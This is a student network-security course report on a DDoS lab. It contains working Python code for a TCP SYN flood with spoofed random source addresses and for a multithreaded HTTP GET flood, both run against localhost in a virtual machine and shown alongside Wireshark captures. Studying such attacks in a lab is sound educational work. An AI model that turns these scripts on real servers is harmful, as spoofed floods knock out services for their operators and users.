Project 2 - DDoS attack implementations flooding the server with TCP SYN/HTTP requests & disrupting its services.

Shaurya Jain

Department of Software and Information Systems, University of North Carolina at Charlotte

ITIS 6167-001: Network Security

Dr. Tao Wang

November 4, 2023

ABSTRACT

This project provides a detailed exploration of launching DDoS attacks, specifically focusing on the TCP SYN and HTTP flood attack techniques. It begins by discussing the essential step of crafting network packets, with a particular emphasis on utilizing the Scapy tool in Python. Readers are guided through the installation process for Scapy, ensuring a smooth setup.

The project comprises seven essential Python files, encompassing a range of programming examples, multi-threading applications, and socket programming. It offers a comprehensive guide for creating and sending messages via sockets, emphasizing the crucial steps for socket functionality. Specific criteria are laid out to gauge the success of these socket operations, helping readers assess their proficiency in this area.

Further, the project dives into the intricacies of implementing TCP SYN flood attacks, where the focus shifts to the generation of syn packets, randomization of IP addresses and port numbers, and scalability in generating packets. The usage of Wireshark for tracking and analyzing these packets is also explained.

As a bonus feature, the project introduces the concept of HTTP flooding attacks, a more complex and multifaceted scenario. It outlines the use of multi-threading to simulate multiple clients, each tasked with sending a multitude of forged HTTP requests with randomized URLs, IP addresses, and port numbers. The project provides a step-by-step guide for creating multiple threads and crafting HTTP packets while ensuring the generation of random IP addresses and port numbers. The use of Wireshark for monitoring the packets in this context is also explained.

Overall, this project is an extensive guide to the techniques and tools used in DDoS attacks, aiming to equip readers with the knowledge and skills to understand, implement, and assess the success of these malicious actions. The project's comprehensive instructions and criteria for success will help readers navigate the complex world of network attacks with confidence.

INTRODUCTION

In this Project, we embark on an educational journey to delve into the world of Distributed Denial of Service (DDoS) attacks, a critical and highly relevant subject within the realm of cybersecurity. Throughout this project, our primary focus is twofold: understanding the mechanics of DDoS attacks and acquiring practical knowledge on their implementation. This project is thoughtfully segmented into three essential parts: Socket programming, TCP SYN flood attacks, and an optional yet intriguing component, the HTTP flood attack.

Our motivation for undertaking this project is rooted in the desire to comprehend and demystify the inner workings of DDoS attacks, with a special emphasis on TCP SYN flood attacks. These attacks are notorious for their ability to disrupt online services, and by learning how they function, we gain a valuable insight into cybersecurity and risk mitigation. To effectively launch these attacks, crafting network packets is a pivotal step. While crafting packets from scratch is possible, it involves intricate details about network layers and specifications. For this project, we employ existing tools and knowledge, with Scapy, a Python tool, taking center stage as a powerful packet crafting aid.

To facilitate readers' engagement, we provide clear instructions on installing Scapy and essential guidance to ensure it operates with the necessary root permissions. This ensures a seamless and successful execution of the attack techniques.

The project's core is structured around seven key files, encompassing a diverse range of programming examples in Python. These examples cover essential topics like multi-threading and socket programming. The practical aspect of this project is not just limited to knowledge acquisition; it also involves hands-on experience. We guide readers through the process of creating sockets, sending and receiving messages, and understanding the critical criteria for success.

The heart of our project resides in the TCP SYN flood attack, where we delve deep into the intricacies of crafting syn packets, randomizing IP addresses and port numbers, and ensuring the scalability of packet generation. This is coupled with the vital skill of using Wireshark for tracking and analyzing these packets. Through this task I learnt about the concepts of packet creation, IP addressing and Port randomization and Wireshark usage for analysis of network traffic.

Furthermore, as a bonus feature, we introduce an HTTP flooding attack, which adds a layer of complexity to the project. In this scenario, we simulate multiple clients through multi-threading, each assigned the task of sending forged HTTP requests with randomized attributes. This component enhances the practical knowledge of the project and showcases the sophistication that can be achieved in DDoS attacks. Through this task, In addition to learnings in TCP SYN attack I also learnt about the concepts of multithreading and how it can be used to simulate a client environment and simultaneously attacking server with forged HTTP requests.

In summary, this project is both an educational journey and a practical endeavor. It equips readers with a comprehensive understanding of the mechanics behind DDoS attacks and the tools and knowledge required to execute them effectively. Throughout this exploration, not only will we have gained insight into DDoS attacks, but we will also have acquired practical experience in their implementation and monitoring.

METHODOLOGY

1) TCP SYN Attack

a) *SYN Packet Creation:* To implement the TCP SYN flood attack, we first needed to create SYN packets. This was achieved using a programming language like Python, which provides libraries and tools for packet crafting. We used Scapy, a Python tool known for its packet manipulation capabilities. Scapy allows for the construction of custom network packets, including SYN packets.

b) *Random IP Address and Port Number Generation :* We imported the randint function from the Python random module to generate random integers. Inside the tcp_syn_flood_attack function, random values are generated for the source port (sport) and source IP address (s_addr) using the RandShort() and RandIP() functions from Scapy.

c) *Scalability :* The code has an infinite loop (while(True)) where the tcp_syn_flood_attack function is continuously called with the target IP address "127.0.0.1," a destination port of 65525, and a sequence number of 100000. This loop will persist indefinitely, continually sending a substantial number of TCP SYN packets to the specified IP address and port.

d) *Using Wireshark :* We used Wireshark, a network protocol analyzer, to track and monitor the generated packets. We captured the network traffic on the system where the attack was being launched. Wireshark allowed us to examine the packets and their characteristics, providing insights into the attack's progress and impact on the target server having IP – 127.0.0.1 .

e) *__Timer Accuracy :__* It's important to ensure that the timing of packet transmission is accurate for a SYN flood attack to be effective. The attack packets need to be sent rapidly to overwhelm the server. We can support our argument using screenshots from the Wireshark.

__f) Platform used__ : We implemented the attack within a Ubuntu (Version – 22.04.3) Virtual Machine having 4 GB RAM and 2 CPU.

2) HTTP FLOOD ATTACK

a) *__Creating Multiple Threads :__* To simulate a scenario with multiple clients for the HTTP flood attack, we employed multi-threading. Multi-threading enables the concurrent execution of multiple threads within a single program. We used Python, which offers multi-threading libraries to create and manage these threads. Inside the http_flood_attack function, an empty list named threads is created to store thread objects. A loop is used to create the specified number of threads, each of which is assigned the makeRequest function as its target. These threads are started and added to the threads list. After all threads are created, another loop is used to wait for each thread to finish using the join() method.

b) *__Crafting HTTP Packets with Random URLs :__* The makeRequest function is responsible for crafting and sending HTTP requests. It generates a random URL path using the generate_url_path function, creates a socket object for the request, establishes a connection with the target IP and port, and sends an HTTP GET request with the generated URL path and host information. In case of a socket error, an error message is printed, indicating that the connection attempt failed. Regardless of success or failure, the code ensures that the socket is properly closed. The generate_url_path function generates random URL paths, primarily composed of letters and digits. The default length of the URL path is 10 characters, and it returns the generated URL path in the format https://www.example.com/{random_url}.

c) *__Scalability :__* The ability to generate a large number of packets is essential for an effective HTTP flood attack. We implemented loops, which is used to create the specified number of threads i.e clients.

d) *__Using Wireshark :__* We used Wireshark to monitor and track the generated packets. Wireshark allowed us to inspect the packets and their characteristics, providing insights into the attack's progress and its impact on the target server – 127.0.0.1 .

e) *__Timer Accuracy :__* For a successful HTTP flood attack, the timing of packet transmission is critical. The attack packets must be sent rapidly to maximize the impact on the target server. We can support our argument using screenshots from the Wireshark.

__f) Platform used :__ We implemented the attack within a Ubuntu (Version – 22.04.3) Virtual Machine having 4 GB RAM and 2 CPU.

RESULTS

1) SOCKET PROGRAMMING

```python
import socket
import sys

#from multithreading_programming_example import run_a_thread, run_threads
from socket_programming_example_client import socket_example_client
from socket_programming_example_server import socket_example_server
#from tcp_syn_flood_attack import tcp_syn_flood_attack
#from http_flood_attack import http_flood_attack


def main():
    # 1. Hello World example

    print("Hello World!")

    # 2. Multi-thread programming examples in Python

    """
    run_a_thread() # Run a single thread
    run_threads() # Run multiple threads
    """

    # 3. Socket Programming examples, Please use an independent terminal to run main_server.py to start the socket server first.


    socket_example_server() # Server side
    #socket_example_client() # Client side
```

Fig : 1 (Main.py file)

```python
# Import the socket module to work with network sockets
import socket

# Define a function for the server side of the socket example
def socket_example_server():
    # Define the host and port the server will listen on
    host = '127.0.0.1'
    port = 65525

    # Create a socket using IPv4 and TCP protocol
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # Associate the host and port with the socket
        s.bind((host, port))

        # Start listening for incoming connections
        s.listen()

        # Accept an incoming connection and get the connection object (conn) and client address (addr)
        conn, addr = s.accept()

        # Process the request and reply to the client
        with conn:
            print('Connected by', addr)
            while True:
                # Receive data from the client (up to 1024 bytes at a time)
                data = conn.recv(1024)
                if not data:
                    # If no data is received, exit the loop
                    break
                # Send a response to the client, acknowledging receipt of their data
                conn.sendall(b"Hello Client, the server has received your data!")
                print(data)  # Print the received data (you may want to process it)
```

Fig : 2 (socket_programming_example_server.py file)

```python
import socket
import sys

#from multithreading_programming_example import run_a_thread, run_threads
from socket_programming_example_client import socket_example_client
from socket_programming_example_server import socket_example_server
#from tcp_syn_flood_attack import tcp_syn_flood_attack
#from http_flood_attack import http_flood_attack


def main():
    # 1. Hello World example

    print("Hello World!")

    # 2. Multi-thread programming examples in Python

    """
    run_a_thread() # Run a single thread
    run_threads() # Run multiple threads
    """

    # 3. Socket Programming examples, Please use an independent terminal to run main_server.py to start the socket server first.

    #socket_example_server() # Server side
    socket_example_client() # Client side
```

Fig 3 : (main.py file)

```python
# Socket programming example: client side config.
# Import the socket module to work with network sockets
import socket

# Define a function for the client side of the socket example
def socket_example_client():
    # Define the server's host and port the client will connect to
    host = '127.0.0.1'
    port = 65525

    # Create a socket using IPv4 and TCP protocol
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # Connect to the destination host and port
        s.connect((host, port))

        # Send a request message to the server
        s.sendall(b'Hello Server, I am the client.')

        # Capture the response from the server (up to 1024 bytes)
        data = s.recv(1024)

    # Print the received data from the server
    print('Received the data!', repr(data))
```

Fig 4 : (socket_programming_example_client.py file)

2) TCP SYN ATTACK

```python
# Import necessary libraries
from random import randint
from sys import stdout
from scapy.all import *
from scapy.layers.inet import IP, TCP

# Define a function for the TCP SYN flood attack
def tcp_syn_flood_attack(ip_address, dport, num_req):
    sport = RandShort()  # Generate a random source port number for the packet
    s_addr = RandIP()  # Generate a random source IP address for the packet

    d_addr = ip_address  # Define the destination IP address of the server (127.0.0.1)

    # Create a packet with IP and TCP headers, setting the SYN flag to initiate a TCP handshake
    packet = IP(src=s_addr, dst=d_addr) / TCP(sport=sport, dport=dport, seq=num_req, flags="S")

    # Send the packet
    send(packet)

# Continuously execute the TCP SYN flood attack
while True:  # An infinite loop to keep generating and sending packets
    tcp_syn_flood_attack("127.0.0.1", 65525, 100000)  # Initiate the attack by calling the function
```

Fig 5 : (tcp_syn_flood_attack.py file)

19	0.859889972	53.28.76.132	127.0.0.1	TCP	54	46817 → 65525 [SYN] Seq=0 Win=8192 Len=0
20	0.909287525	248.5.199.31	127.0.0.1	TCP	54	47202 → 65525 [SYN] Seq=0 Win=8192 Len=0
21	0.957898960	31.197.171.235	127.0.0.1	TCP	54	12770 → 65525 [SYN] Seq=0 Win=8192 Len=0
22	1.004189821	226.72.251.40	127.0.0.1	TCP	54	58129 → 65525 [SYN] Seq=0 Win=8192 Len=0
23	1.041899491	134.227.106.29	127.0.0.1	TCP	54	43623 → 65525 [SYN] Seq=0 Win=8192 Len=0
24	1.075607750	92.129.151.232	127.0.0.1	TCP	54	9321 → 65525 [SYN] Seq=0 Win=8192 Len=0
25	1.116409049	159.0.142.221	127.0.0.1	TCP	54	5463 → 65525 [SYN] Seq=0 Win=8192 Len=0
26	1.168557892	71.130.157.52	127.0.0.1	TCP	54	55674 → 65525 [SYN] Seq=0 Win=8192 Len=0
27	1.223322056	251.10.212.175	127.0.0.1	TCP	54	32092 → 65525 [SYN] Seq=0 Win=8192 Len=0
28	1.275979903	128.42.146.6	127.0.0.1	TCP	54	36627 → 65525 [SYN] Seq=0 Win=8192 Len=0
29	1.316579556	92.126.134.94	127.0.0.1	TCP	54	44264 → 65525 [SYN] Seq=0 Win=8192 Len=0
30	1.364474261	239.34.254.168	127.0.0.1	TCP	54	17910 → 65525 [SYN] Seq=0 Win=8192 Len=0
31	1.403763517	181.69.249.68	127.0.0.1	TCP	54	9225 → 65525 [SYN] Seq=0 Win=8192 Len=0
32	1.449057689	47.122.192.9	127.0.0.1	TCP	54	65402 → 65525 [SYN] Seq=0 Win=8192 Len=0
33	1.502850201	196.215.119.246	127.0.0.1	TCP	54	52953 → 65525 [SYN] Seq=0 Win=8192 Len=0
34	1.547149416	157.211.147.39	127.0.0.1	TCP	54	39029 → 65525 [SYN] Seq=0 Win=8192 Len=0
35	1.603800108	129.231.8.35	127.0.0.1	TCP	54	21333 → 65525 [SYN] Seq=0 Win=8192 Len=0
36	1.640787112	201.142.110.251	127.0.0.1	TCP	54	17219 → 65525 [SYN] Seq=0 Win=8192 Len=0
37	1.683723956	197.130.53.255	127.0.0.1	TCP	54	18763 → 65525 [SYN] Seq=0 Win=8192 Len=0
38	1.718666592	42.239.125.138	127.0.0.1	TCP	54	64670 → 65525 [SYN] Seq=0 Win=8192 Len=0
39	1.763719406	131.23.125.9	127.0.0.1	TCP	54	21578 → 65525 [SYN] Seq=0 Win=8192 Len=0
40	1.800217125	158.128.238.64	127.0.0.1	TCP	54	50254 → 65525 [SYN] Seq=0 Win=8192 Len=0
41	1.843957584	196.87.42.143	127.0.0.1	TCP	54	49107 → 65525 [SYN] Seq=0 Win=8192 Len=0
42	1.891358470	242.47.7.143	127.0.0.1	TCP	54	38633 → 65525 [SYN] Seq=0 Win=8192 Len=0
43	1.932485185	152.44.93.23	127.0.0.1	TCP	54	49784 → 65525 [SYN] Seq=0 Win=8192 Len=0

Fig 6 : (Wireshark capture of attack – As you can see the packets are being sent rapidly onto the server)

3) HTTP FLOOD ATTACK

```python
import socket
import sys

# Define a function for the server side of the socket example
def socket_example_server():
    try:
        # Create a socket using IPv4 and TCP protocol
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Define the server's IP address and port
        server_address = ('127.0.0.1', 65525)

        # Bind the server socket to the specified address
        server_socket.bind(server_address)
        print("\nServer Socket Successfully Created\n")

        # Listen for incoming client connections
        server_socket.listen()
        print("\nWaiting for Client Connection\n")

        while True:
            try:
                # Accept a client connection and get the client socket and client address
                client_socket, client_address = server_socket.accept()
                print("\nConnection established with\t", client_address)

            except Exception as e:
                print(e)
                server_socket.close()
                sys.exit(0)
    except Exception as e:
        print("\nFailure in Server socket creation\nError:", e, "\n")
        sys.exit(0)
```

Fig 7 : (socket_programming_example_server.py file)

```python
from scapy.all import *

def http_flood_attack(ipaddr,port,num):# A function for the HTTP flood attack
        threads = list()
        print("Running HTTP flood...")
        for index in range(num):# Create a number of threads to send HTTP requests
                thread = threading.Thread(target=makeRequest(ipaddr,port))
                thread.start()
                threads.append(thread)

        for index, thread in enumerate(threads):# Wait for all threads to finish
                thread.join()

def makeRequest(ip, p):# A function to make an HTTP request to the target server
        url_path = generate_url_path(12)
        dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:

                dos.connect((ip,p))
                msg = "GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, ip)
                byt = msg.encode()
                dos.send(byt)

        except socket.error:
                print("\n [ No connection, server might be down ]: "+ str(socket.error))

        finally:
                dos.shutdown(socket.SHUT_RDWR)
                dos.close()

def generate_url_path(length=10):# A function to generate a random URL path
        characters = string.ascii_letters + string.digits
        random_url = ''.join(random.choice(characters) for _ in range(length))
        return f'https://www.example.com/{random_url}'
```

Fig 8 : (http_flood_attack.py)

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	TCP	74	54196 → 65525 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 S
2	0.000011763	127.0.0.1	127.0.0.1	TCP	74	65525 → 54196 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0
3	0.000022682	127.0.0.1	127.0.0.1	TCP	66	54196 → 65525 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval
4	0.000169138	127.0.0.1	127.0.0.1	HTTP	134	GET /https://www.example.com/MIhYGgPggzdY HTTP/1.1
5	0.000174713	127.0.0.1	127.0.0.1	TCP	66	65525 → 54196 [ACK] Seq=1 Ack=69 Win=65536 Len=0 TSva
6	0.000186426	127.0.0.1	127.0.0.1	TCP	66	54196 → 65525 [FIN, ACK] Seq=69 Ack=1 Win=65536 Len=0
7	0.000681458	127.0.0.1	127.0.0.1	TCP	74	54200 → 65525 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 S
8	0.000689321	127.0.0.1	127.0.0.1	TCP	74	65525 → 54200 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0
9	0.000697970	127.0.0.1	127.0.0.1	TCP	66	54200 → 65525 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval
10	0.000820772	127.0.0.1	127.0.0.1	TCP	66	65525 → 54196 [RST, ACK] Seq=1 Ack=70 Win=65536 Len=0
11	0.000919089	127.0.0.1	127.0.0.1	HTTP	134	GET /https://www.example.com/lIV3jEuWVNqz HTTP/1.1
12	0.000925028	127.0.0.1	127.0.0.1	TCP	66	65525 → 54200 [ACK] Seq=1 Ack=69 Win=65536 Len=0 TSva
13	0.000935091	127.0.0.1	127.0.0.1	TCP	66	54200 → 65525 [FIN, ACK] Seq=69 Ack=1 Win=65536 Len=0
14	0.001324456	127.0.0.1	127.0.0.1	TCP	74	54210 → 65525 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 S
15	0.001331500	127.0.0.1	127.0.0.1	TCP	74	65525 → 54210 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0
16	0.001339639	127.0.0.1	127.0.0.1	TCP	66	54210 → 65525 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval
17	0.001445351	127.0.0.1	127.0.0.1	TCP	66	65525 → 54200 [RST, ACK] Seq=1 Ack=70 Win=65536 Len=0
18	0.001512133	127.0.0.1	127.0.0.1	HTTP	134	GET /https://www.example.com/hQvprqM37mwX HTTP/1.1
19	0.001516782	127.0.0.1	127.0.0.1	TCP	66	65525 → 54210 [ACK] Seq=1 Ack=69 Win=65536 Len=0 TSva
20	0.001526808	127.0.0.1	127.0.0.1	TCP	66	54210 → 65525 [FIN, ACK] Seq=69 Ack=1 Win=65536 Len=0
21	0.001870823	127.0.0.1	127.0.0.1	TCP	74	54214 → 65525 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 S
22	0.001877971	127.0.0.1	127.0.0.1	TCP	74	65525 → 54214 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0
23	0.001885894	127.0.0.1	127.0.0.1	TCP	66	54214 → 65525 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval
24	0.001971065	127.0.0.1	127.0.0.1	TCP	66	65525 → 54210 [RST, ACK] Seq=1 Ack=70 Win=65536 Len=0
25	0.002037785	127.0.0.1	127.0.0.1	HTTP	134	GET /https://www.example.com/WIzrdbC8lz1n HTTP/1.1

Fig 9 : (Wireshark capture of attack – As you can see the packets are being sent rapidly onto the server)

CONCLUSION

The project has provided a comprehensive understanding of DDoS attacks, emphasizing network packet crafting using tools like Scapy and the significance of timer accuracy. The project underscored the importance of randomization for obfuscation, especially in IP addresses and port numbers. The bonus challenge involving the HTTP flood attack illustrated the scalability and challenges of multi-threading in DDoS scenarios. The use of Wireshark for monitoring added valuable insights.